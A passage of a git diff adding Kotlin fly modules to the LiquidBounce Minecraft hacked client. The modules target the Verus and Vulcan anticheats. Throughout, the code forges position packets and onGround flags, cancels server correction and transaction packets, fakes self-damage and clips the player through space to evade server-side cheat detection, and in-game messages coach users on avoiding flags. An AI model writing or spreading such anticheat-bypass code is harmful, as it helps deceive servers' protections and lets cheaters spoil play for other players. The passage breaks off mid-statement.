+ sendLegacy() + } + + override fun onMove(event: MoveEvent) { + if (MovementUtils.isMoving()) { + if (mc.thePlayer.onGround) { + MovementUtils.strafe(groundSpeedValue.get()) + waitTicks++ + if (waitTicks >= hopDelayValue.get()) { + waitTicks = 0 + mc.thePlayer.triggerAchievement(StatList.jumpStat) + mc.thePlayer.motionY = 0.0 + event.y = 0.41999998688698 + } + } else { + MovementUtils.strafe(airSpeedValue.get()) + } + } + } + + override fun onBlockBB(event: BlockBBEvent) { + if (event.block is BlockAir && event.y <= fly.launchY) { + event.boundingBox = AxisAlignedBB.fromBounds(event.x.toDouble(), event.y.toDouble(), event.z.toDouble(), event.x + 1.0, fly.launchY, event.z + 1.0) + } + } + + override fun onJump(event: JumpEvent) = event.cancelEvent() +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusGlide.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusGlide.kt new file mode 100644 index 0000000..4799581 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusGlide.kt @@ -0,0 +1,16 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.verus + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.MovementUtils.strafe + +class VerusGlide : FlyMode("VerusGlide") { + + override fun onUpdate(event: UpdateEvent) { + val player = mc.thePlayer ?: return + if (!player.onGround && player.fallDistance > 1) { + player.motionY = -0.09800000190734863 + strafe(0.3345f) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusJumpFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusJumpFly.kt new file mode 100644 index 0000000..df90f86 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/verus/VerusJumpFly.kt @@ -0,0 +1,84 @@ + + +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.verus + +import net.ccbluex.liquidbounce.event.BlockBBEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.block.BlockAir +import net.minecraft.client.settings.GameSettings +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.util.AxisAlignedBB + +class VerusJumpFly : FlyMode("VerusJump") { + + private val boostValue = BoolValue("${valuePrefix}Boost", false) + private val speedValue = FloatValue("${valuePrefix}Speed", 2f, 0f, 3f).displayable { boostValue.get() } + private val boostLength = IntegerValue("${valuePrefix}BoostTime", 500, 300, 1000).displayable { boostValue.get() } + private val moveBeforeDamage = BoolValue("${valuePrefix}MoveBeforeDamage", true).displayable { boostValue.get() } + private val airStrafeValue = BoolValue("${valuePrefix}AirStrafe", true) + + private var times = 0 + private var timer = MSTimer() + + override fun onEnable() { + times = 0 + timer.reset() + } + + override fun onUpdate(event: UpdateEvent) { + if (boostValue.get()) { + mc.gameSettings.keyBindJump.pressed = false + if (times < 5 && !moveBeforeDamage.get()) { + MovementUtils.strafe(0f) + } + if (mc.thePlayer.onGround && times < 5) { + times++ + timer.reset() + if (times <5) { + mc.thePlayer.jump() + MovementUtils.strafe(0.48F) + } + } + + if (times >= 5) { + if (!timer.hasTimePassed(boostLength.get().toLong())) { + MovementUtils.strafe(speedValue.get()) + } else { + times = 0 + } + } + } else { + mc.gameSettings.keyBindJump.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindJump) + if (mc.thePlayer.onGround && MovementUtils.isMoving()) { + mc.gameSettings.keyBindJump.pressed = false + mc.thePlayer.jump() + MovementUtils.strafe(0.48F) + } else if(airStrafeValue.get()) { + MovementUtils.strafe() + } + } + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + + if(boostValue.get()) { + if (packet is C03PacketPlayer) { + packet.onGround = (times >= 5 && !timer.hasTimePassed(boostLength.get().toLong())) + } + } + } + + override fun onBlockBB(event: BlockBBEvent) { + if (event.block is BlockAir && event.y <= fly.launchY) { + event.boundingBox = AxisAlignedBB.fromBounds(event.x.toDouble(), event.y.toDouble(), event.z.toDouble(), event.x + 1.0, fly.launchY, event.z + 1.0) + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/vulcan/VulcanClipFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/vulcan/VulcanClipFly.kt new file mode 100644 index 0000000..0f5b3a0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/vulcan/VulcanClipFly.kt @@ -0,0 +1,73 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.vulcan + +import net.ccbluex.liquidbounce.event.EventState +import net.ccbluex.liquidbounce.event.MotionEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import net.minecraft.network.play.client.C03PacketPlayer.C06PacketPlayerPosLook +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import kotlin.math.cos +import kotlin.math.sin + +class VulcanClipFly : FlyMode("VulcanClip") { + + private val canClipValue = BoolValue("CanClip", true) + + private var waitFlag = false + private var canGlide = false + private var ticks = 0 + + override fun onEnable() { + if(mc.thePlayer.onGround && canClipValue.get()) { + clip(0f, -0.1f) + waitFlag = true + canGlide = false + ticks = 0 + mc.timer.timerSpeed = 0.1f + } else { + waitFlag = false + canGlide = true + } + } + + override fun onMotion(event: MotionEvent) { + if (event.eventState == EventState.PRE && canGlide) { + mc.timer.timerSpeed = 1f + mc.thePlayer.motionY = -if(ticks % 2 == 0) { + 0.17 + } else { + 0.10 + } + if(ticks == 0) { + mc.thePlayer.motionY = -0.07 + } + ticks++ + } + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if(packet is S08PacketPlayerPosLook && waitFlag) { + waitFlag = false + mc.thePlayer.setPosition(packet.x, packet.y, packet.z) + mc.netHandler.addToSendQueue(C06PacketPlayerPosLook(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch, false)) + event.cancelEvent() + mc.thePlayer.jump() + clip(0.127318f, 0f) + clip(3.425559f, 3.7f) + clip(3.14285f, 3.54f) + clip(2.88522f, 3.4f) + canGlide = true + } + } + + private fun clip(dist: Float, y: Float) { + val yaw = Math.toRadians(mc.thePlayer.rotationYaw.toDouble()) + val x = -sin(yaw) * dist + val z = cos(yaw) * dist + mc.thePlayer.setPosition(mc.thePlayer.posX + x, mc.thePlayer.posY + y, mc.thePlayer.posZ + z) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/vulcan/VulcanDamageFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/vulcan/VulcanDamageFly.kt new file mode 100644 index 0000000..0d5622a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/vulcan/VulcanDamageFly.kt @@ -0,0 +1,242 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.vulcan + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.features.value.* +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.TransferUtils +import net.minecraft.client.settings.GameSettings + +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import net.minecraft.network.play.client.C03PacketPlayer.C06PacketPlayerPosLook +import net.minecraft.network.play.client.C0FPacketConfirmTransaction +import net.minecraft.network.play.server.S08PacketPlayerPosLook + +import kotlin.math.sqrt +import kotlin.math.cos +import kotlin.math.sin + +class VulcanDamageFly : FlyMode("VulcanDamage") { + private val bypassMode = ListValue("${valuePrefix}BypassMode", arrayOf("Damage", "SelfDamage", "InstantDamage", "Flag"), "InstantDamage") + private val flyMode = ListValue("${valuePrefix}FlyMode", arrayOf("Timer", "CancelMove", "Clip"), "CancelMove") + private val flyHSpeedValue = FloatValue("${valuePrefix}Horizontal", 1.0f, 0.5f, 2.5f).displayable{ flyMode.equals("CancelMove") } + private val flyVSpeedValue = FloatValue("${valuePrefix}Vertical", 0.42f, 0.42f, 2.5f).displayable{ flyMode.equals("CancelMove") } + private val flyDistanceValue = FloatValue("${valuePrefix}Distance", 10.0f, 6.0f, 10.0f) + private val autoDisableValue = BoolValue("${valuePrefix}AutoDisable", true) + private val flyTimerValue = FloatValue("${valuePrefix}Timer", 0.05f, 0.05f, 0.25f).displayable{ flyMode.equals("Timer") } + private var waitFlag = false + private var isStarted = false + var isDamaged = false + var dmgJumpCount = 0 + var flyTicks = 0 + + private var lastSentX = 0.0 + private var lastSentY = 0.0 + private var lastSentZ = 0.0 + + private var lastTickX = 0.0 + private var lastTickY = 0.0 + private var lastTickZ = 0.0 + + fun runSelfDamageCore(): Boolean { + mc.timer.timerSpeed = 1.0f + if (bypassMode.equals("Damage") || bypassMode.equals("Flag")) { + if (!bypassMode.equals("Flag")) { + if (mc.thePlayer.hurtTime > 0 || isDamaged) { + isDamaged = true + dmgJumpCount = 999 + return false + }else { + return true + } + } + isDamaged = true + dmgJumpCount = 999 + return false + } + if (isDamaged) { + dmgJumpCount = 999 + return false + } + mc.thePlayer.jumpMovementFactor = 0.00f + if (mc.thePlayer.onGround) { + if (dmgJumpCount >= 4) { + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + isDamaged = true + dmgJumpCount = 999 + return false + } + dmgJumpCount++ + MovementUtils.resetMotion(true) + mc.thePlayer.jump() + } + MovementUtils.resetMotion(false) + return true + } + + override fun onEnable() { + flyTicks = 0 + waitFlag = false + isStarted = false + isDamaged = false + dmgJumpCount = 0 + mc.timer.timerSpeed = 1.0f + if (bypassMode.equals("InstantDamage")) { + dmgJumpCount = 11451 + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 0.0784, mc.thePlayer.posZ, false)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.41999998688697815, mc.thePlayer.posZ, false)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.7531999805212, mc.thePlayer.posZ, false)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 1.0, mc.thePlayer.posZ, true)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 1.4199999868869781, mc.thePlayer.posZ, false)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 1.7531999805212, mc.thePlayer.posZ, false)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 2.0, mc.thePlayer.posZ, true)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 2.419999986886978, mc.thePlayer.posZ, false)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 2.7531999805212, mc.thePlayer.posZ, false)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 3.00133597911214, mc.thePlayer.posZ, false)) + mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 3.00133597911214, mc.thePlayer.posZ) + waitFlag = true + } else if (bypassMode.equals("Flag")) { + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 2, mc.thePlayer.posZ, true)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + } else { + runSelfDamageCore() + } + } + + override fun onUpdate(event: UpdateEvent) { + if (flyTicks > 7 && autoDisableValue.get()) { + fly.state = false + fly.onDisable() + return + } + + if (!bypassMode.equals("InstantDamage") && runSelfDamageCore()) { + return + } + if (bypassMode.equals("InstantDamage") && dmgJumpCount == 11451) { + if (!isStarted) { + return + } else { + isStarted = false + waitFlag = false + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true)) + dmgJumpCount = 999 + } + } + mc.thePlayer.jumpMovementFactor = 0.00f + if (!isStarted && !waitFlag) { + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - 0.0784, mc.thePlayer.posZ, false)) + waitFlag = true + } + if (isStarted) { + when (flyMode.get().lowercase()) { + "cancelmove" -> { + mc.timer.timerSpeed = 1.0f + MovementUtils.resetMotion(false) + if (!mc.gameSettings.keyBindSneak.isKeyDown) { + MovementUtils.resetMotion(true) + if (mc.gameSettings.keyBindJump.isKeyDown) { + mc.thePlayer.motionY = flyVSpeedValue.get().toDouble() + } + } + + MovementUtils.strafe(flyHSpeedValue.get()) + } + "timer" -> { + flyTicks++ + mc.timer.timerSpeed = flyTimerValue.get() + MovementUtils.resetMotion(true) + if (flyTicks > 4) { + MovementUtils.strafe(flyDistanceValue.get() - 0.005f) + } else { + MovementUtils.strafe(flyDistanceValue.get() - 0.205f + flyTicks.toFloat() * 0.05f) + } + } + "clip" -> { + MovementUtils.resetMotion(true) + if (mc.thePlayer.ticksExisted % 10 == 0) { + flyTicks++ + val yaw = Math.toRadians(mc.thePlayer.rotationYaw.toDouble()) + mc.thePlayer.setPosition(mc.thePlayer.posX + (-sin(yaw) * flyDistanceValue.get()), mc.thePlayer.posY + 0.42, mc.thePlayer.posZ + (cos(yaw) * flyDistanceValue.get())) + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, false)) + } + } + } + } + } + + override fun onDisable() { + mc.timer.timerSpeed = 1.0f + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C03PacketPlayer && waitFlag) { + event.cancelEvent() + } + if (packet is C03PacketPlayer && (dmgJumpCount < 4 && ( bypassMode.equals("SelfDamage") || bypassMode.equals("InstantDamage") ) )) { + packet.onGround = false + } + if (isStarted && flyMode.equals("cancelmove")) { + if(packet is C03PacketPlayer && (packet is C04PacketPlayerPosition || packet is C06PacketPlayerPosLook)) { + val deltaX = packet.x - lastSentX + val deltaY = packet.y - lastSentY + val deltaZ = packet.z - lastSentZ + + if (sqrt(deltaX * deltaX + deltaY * deltaY + deltaZ * deltaZ) > flyDistanceValue.get()) { + flyTicks++ + PacketUtils.sendPacketNoEvent(C04PacketPlayerPosition(lastTickX, lastTickY, lastTickZ, false)) + lastSentX = lastTickX + lastSentY = lastTickY + lastSentZ = lastTickZ + } + lastTickX = packet.x + lastTickY = packet.y + lastTickZ = packet.z + event.cancelEvent() + }else if(packet is C03PacketPlayer) { + event.cancelEvent() + } + } + + if (packet is C03PacketPlayer && flyMode.equals("clip") && isStarted) { + event.cancelEvent() + } + + if (packet is S08PacketPlayerPosLook) { + isStarted = true + waitFlag = false + } + + if (packet is S08PacketPlayerPosLook && waitFlag && !flyMode.equals("cancelmove")) { + if (bypassMode.equals("InstantDamage")) PacketUtils.sendPacketNoEvent(C06PacketPlayerPosLook(packet.x, packet.y, packet.z, packet.yaw, packet.pitch, false)) + mc.timer.timerSpeed = 1.0f + flyTicks = 0 + + } else if (packet is S08PacketPlayerPosLook && flyMode.equals("cancelmove")) { + lastSentX = packet.x + lastSentY = packet.y + lastSentZ = packet.z + + if (!bypassMode.equals("InstantDamage")) event.cancelEvent() + + TransferUtils.noMotionSet = true + PacketUtils.sendPacketNoEvent(C06PacketPlayerPosLook(packet.x, packet.y, packet.z, packet.yaw, packet.pitch, false)) + } + + if (packet is C0FPacketConfirmTransaction) { //Make sure it works with Vulcan Velocity + val transUID = (packet.uid).toInt() + if (transUID >= -31767 && transUID <= -30769) { + event.cancelEvent() + PacketUtils.sendPacketNoEvent(packet) + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/vulcan/VulcanFastFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/vulcan/VulcanFastFly.kt new file mode 100644 index 0000000..54a2db5 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/vulcan/VulcanFastFly.kt @@ -0,0 +1,165 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.vulcan + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C0BPacketEntityAction +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import net.minecraft.util.BlockPos +import kotlin.math.sqrt + +class VulcanFastFly : FlyMode("VulcanFast") { + + private val speedValue = FloatValue("${valuePrefix}Speed", 1f, 0.1f, 6f) + private val verticalValue = BoolValue("${valuePrefix}Vertical", false) + + private var isSuccess = false + private var vticks = 0 + private var doCancel = false + private var stage = FlyStage.FLYING + private var startX = 0.0 + private var startZ = 0.0 + private var startY = 0.0 + + override fun onEnable() { + vticks = 0 + doCancel = false + if(verticalValue.get()) { + ClientUtils.displayChatMessage("§8[§c§lVulcan-Fast-Flight§8] §cVertical Flying sometimes flag!") + } + if(mc.thePlayer.posY % 1 != 0.0) { + fly.state = false + ClientUtils.displayChatMessage("§8[§c§lVulcan-Fast-Flight§8] §cPlease stand on a solid block to fly!") + isSuccess = true + return + } + stage = FlyStage.FLYING + isSuccess = false + ClientUtils.displayChatMessage("§8[§c§lVulcan-Fast-Flight§8] §aPlease press Sneak before you land on ground!") + ClientUtils.displayChatMessage("§8[§c§lVulcan-Fast-Flight§8] §7Tips: DO NOT Use killaura when you're flying!") + startX = mc.thePlayer.posX + startY = mc.thePlayer.posY + startZ = mc.thePlayer.posZ + } + + override fun onDisable() { + mc.timer.timerSpeed = 1.0f + if (!isSuccess) { + mc.thePlayer.setPosition(startX, startY, startZ) + ClientUtils.displayChatMessage("§8[§c§lVulcan-Fast-Flight§8] §cFly attempt Failed...") + ClientUtils.displayChatMessage("§8[§c§lVulcan-Fast-Flight§8] §cIf it keeps happen, Don't use it again in CURRENT gameplay") + } + } + + override fun onUpdate(event: UpdateEvent) { + when(stage) { + FlyStage.FLYING -> { + isSuccess = false + + MovementUtils.resetMotion(false) + + MovementUtils.strafe(speedValue.get()) + doCancel = true + + if(mc.gameSettings.keyBindSneak.pressed) { + MovementUtils.strafe(0.45f) + if(verticalValue.get()) { + mc.thePlayer.motionY = 0.0 - speedValue.get().toDouble() + } + } + if(verticalValue.get()) { + if(mc.gameSettings.keyBindJump.pressed) { + mc.thePlayer.motionY = speedValue.get().toDouble() + } else if(!mc.gameSettings.keyBindSneak.pressed) { + mc.thePlayer.motionY = 0.0 + } + } + if(mc.gameSettings.keyBindSneak.pressed && mc.thePlayer.ticksExisted % 2 == 1) { + val fixedY = mc.thePlayer.posY - (mc.thePlayer.posY % 1) + val underBlock2 = BlockUtils.getBlock(BlockPos(mc.thePlayer.posX, fixedY - 1, mc.thePlayer.posZ)) ?: return + if(underBlock2.isFullBlock) { + stage = FlyStage.WAIT_APPLY + MovementUtils.resetMotion(true) + mc.thePlayer.jumpMovementFactor = 0.00f + doCancel = false + mc.thePlayer.onGround = false + var fixedX = mc.thePlayer.posX - (mc.thePlayer.posX % 1) + var fixedZ = mc.thePlayer.posZ - (mc.thePlayer.posZ % 1) + if(fixedX>0) { + fixedX += 0.5 + }else{ + fixedX -= 0.5 + } + if(fixedZ>0) { + fixedZ += 0.5 + }else{ + fixedZ -= 0.5 + } + mc.thePlayer.setPosition(fixedX, fixedY, fixedZ) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, fixedY , mc.thePlayer.posZ, true)) + doCancel = true + ClientUtils.displayChatMessage("§8[§c§lVulcan-Flight§8] §aWaiting for landing...") + } else { + ClientUtils.displayChatMessage("§8[§c§lVulcan-Flight§8] §cYou can only land on a solid block!") + } + } + } + FlyStage.WAIT_APPLY -> { + vticks++ + doCancel = false + if(vticks == 60) { + ClientUtils.displayChatMessage("§8[§c§lVulcan-Flight§8] §cSeems took a long time! Please turn off the Flight manually") + } + mc.timer.timerSpeed = 1f + MovementUtils.resetMotion(true) + mc.thePlayer.jumpMovementFactor = 0.00f + val fixedY = mc.thePlayer.posY - (mc.thePlayer.posY % 1) + if(mc.theWorld.getCollisionBoxes(mc.thePlayer.entityBoundingBox.offset(0.0, -10.0, 0.0)).isEmpty() && mc.theWorld.getCollisionBoxes(mc.thePlayer.entityBoundingBox.offset(0.0, -12.0, 0.0)).isEmpty()) { + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, fixedY - 10, mc.thePlayer.posZ, true)) + }else { + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, fixedY - 1024, mc.thePlayer.posZ, true)) + } + doCancel = true + } + } + } + + override fun onPacket(event: PacketEvent) { + + when (val packet = event.packet) { + is C03PacketPlayer -> { + if(doCancel) { + event.cancelEvent() + doCancel = false + } + packet.onGround = true + } + is S08PacketPlayerPosLook -> { + if (stage == FlyStage.WAIT_APPLY) { + if(sqrt((packet.x-mc.thePlayer.posX)*(packet.x-mc.thePlayer.posX) + +(packet.y-mc.thePlayer.posY)*(packet.y-mc.thePlayer.posY) + +(packet.z-mc.thePlayer.posZ)*(packet.z-mc.thePlayer.posZ)) < 1.4) { + isSuccess = true + fly.state = false + return + } + } + event.cancelEvent() + } + is C0BPacketEntityAction -> { + event.cancelEvent() + } + } + } + + enum class FlyStage { + FLYING, + WAIT_APPLY + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/vulcan/VulcanGhostFly.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/vulcan/VulcanGhostFly.kt new file mode 100644 index 0000000..dc644db --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/flys/vulcan/VulcanGhostFly.kt @@ -0,0 +1,155 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement.flys.vulcan + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.movement.flys.FlyMode +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.minecraft.client.settings.GameSettings +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.client.C0BPacketEntityAction +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import kotlin.math.cos +import kotlin.math.roundToInt +import kotlin.math.sin +import kotlin.math.sqrt + +class VulcanGhostFly : FlyMode("VulcanGhost") { + + private val timerValue = FloatValue("${valuePrefix}Timer", 2f, 1f, 3f) + + private var ticks = 0 + private var modifyTicks = 0 + private var stage = FlyStage.WAITING + private var flags = 0 + private var groundX = 0.0 + private var groundY = 0.0 + private var groundZ = 0.0 + + override fun onEnable() { + ticks = 0 + modifyTicks = 0 + flags = 0 + mc.thePlayer.setPosition(mc.thePlayer.posX, (mc.thePlayer.posY * 2).roundToInt().toDouble() / 2, mc.thePlayer.posZ) + stage = FlyStage.WAITING + ClientUtils.displayChatMessage("§8[§c§lVulcan-Ghost-Flight§8] §aPlease press Sneak before you land on ground!") + ClientUtils.displayChatMessage("§8[§c§lVulcan-Ghost-Flight§8] §aYou can go Up/Down by pressing Jump/Sneak") + } + + override fun onDisable() { + mc.timer.timerSpeed = 1.0f + } + + override fun onUpdate(event: UpdateEvent) { + ticks++ + modifyTicks++ + mc.gameSettings.keyBindJump.pressed = false + mc.gameSettings.keyBindSneak.pressed = false + when(stage) { + FlyStage.FLYING,FlyStage.WAITING -> { + if(stage == FlyStage.FLYING) { + mc.timer.timerSpeed = timerValue.get() + }else{ + mc.timer.timerSpeed = 1.0f + } + if(ticks == 2 && GameSettings.isKeyDown(mc.gameSettings.keyBindJump) && modifyTicks>=6 && mc.theWorld.getCollisionBoxes(mc.thePlayer.entityBoundingBox.offset(0.0, 0.5, 0.0)).isEmpty()) { + mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY+0.5, mc.thePlayer.posZ) + modifyTicks = 0 + } + if(!MovementUtils.isMoving() && ticks == 1 && (GameSettings.isKeyDown(mc.gameSettings.keyBindSneak) || GameSettings.isKeyDown(mc.gameSettings.keyBindJump)) && modifyTicks>=5) { + val playerYaw = mc.thePlayer.rotationYaw * Math.PI / 180 + mc.thePlayer.setPosition(mc.thePlayer.posX + 0.05 * -sin(playerYaw) + , mc.thePlayer.posY + , mc.thePlayer.posZ + 0.05 * cos(playerYaw) + ) + } + if(ticks == 2 && GameSettings.isKeyDown(mc.gameSettings.keyBindSneak) && modifyTicks>=6 && mc.theWorld.getCollisionBoxes(mc.thePlayer.entityBoundingBox.offset(0.0, -0.5, 0.0)).isEmpty()) { + mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY-0.5, mc.thePlayer.posZ) + modifyTicks = 0 + }else if(ticks == 2 && GameSettings.isKeyDown(mc.gameSettings.keyBindSneak) && mc.theWorld.getCollisionBoxes(mc.thePlayer.entityBoundingBox.offset(0.0, -0.5, 0.0)) + .isNotEmpty()) { + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX+0.05,mc.thePlayer.posY,mc.thePlayer.posZ,true)) + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,mc.thePlayer.posY,mc.thePlayer.posZ,true)) + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,mc.thePlayer.posY+0.42,mc.thePlayer.posZ,true)) + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,mc.thePlayer.posY+0.7532,mc.thePlayer.posZ,true)) + PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,mc.thePlayer.posY+1.0,mc.thePlayer.posZ,true)) + mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY+1.0, mc.thePlayer.posZ) + stage = FlyStage.WAIT_APPLY + modifyTicks = 0 + groundY = mc.thePlayer.posY - 1.0 + groundX = mc.thePlayer.posX + groundZ = mc.thePlayer.posZ + ClientUtils.displayChatMessage("§8[§c§lVulcan-Ghost-Flight§8] §aWaiting to land...") + } + mc.thePlayer.onGround = true + mc.thePlayer.motionY = 0.0 + } + FlyStage.WAIT_APPLY -> { + mc.timer.timerSpeed = 1.0f + MovementUtils.resetMotion(true) + mc.thePlayer.jumpMovementFactor = 0.0f + if (modifyTicks >= 10) { + val playerYaw = mc.thePlayer.rotationYaw * Math.PI / 180 + if (modifyTicks % 2 != 0) { + mc.thePlayer.setPosition(mc.thePlayer.posX + 0.1 * -sin(playerYaw) + , mc.thePlayer.posY + , mc.thePlayer.posZ + 0.1 * cos(playerYaw) + ) + }else{ + mc.thePlayer.setPosition(mc.thePlayer.posX - 0.1 * -sin(playerYaw) + , mc.thePlayer.posY + , mc.thePlayer.posZ - 0.1 * cos(playerYaw) + ) + if (modifyTicks >= 16 && ticks == 2) { + modifyTicks = 16 + mc.thePlayer.setPosition(mc.thePlayer.posX + , mc.thePlayer.posY + 0.5 + , mc.thePlayer.posZ) + } + } + } + } + } + } + + override fun onPacket(event: PacketEvent) { + + when (val packet = event.packet) { + is C03PacketPlayer -> { + if(ticks > 2) { + ticks = 0 + packet.y += 0.5 + } + packet.onGround = true + } + is S08PacketPlayerPosLook -> { + if 